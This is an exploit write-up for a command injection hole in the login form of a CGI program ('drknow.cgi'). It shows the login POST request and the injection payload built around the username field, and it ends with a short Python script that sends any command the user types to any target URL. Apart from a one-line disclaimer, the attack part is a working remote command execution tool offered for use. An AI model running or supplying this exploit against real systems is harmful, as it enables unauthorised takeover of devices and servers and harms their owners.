Details:
========
First we need to know what happens when we need to LogIn.
When the User or Attacker insert any strings in the login form he/she will get this POST request:
POST /cgi-bin/drknow.cgi?req=login HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://server/log-in.html?lang=KOR
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Connection: close
Upgrade-Insecure-Requests: 1
req=login&lang=KOR&username=admin&password=admin
Ok now we have this POST request and all we care about is the ‘username’ parameter . and we
can execute our system commands via this parameter due to missing input sanitization.
The payload will be: 'admin|'command'||x we will change the command by any *unix command (ls – id – mkdir ….)
Exploit:
=======
#i am not responsible for any wrong use.
import requests
target = raw_input('Target(With proto) : ')
command = raw_input('Command To Execute : ')
fullpath=target +"/cgi-bin/drknow.cgi?req=login"
data = {'req':'login',
'lang':'ENG',
'username':'admin|'+command+'||x',
'password':'admin'}
execute = requests.post(fullpath, data = data)
print execute.text
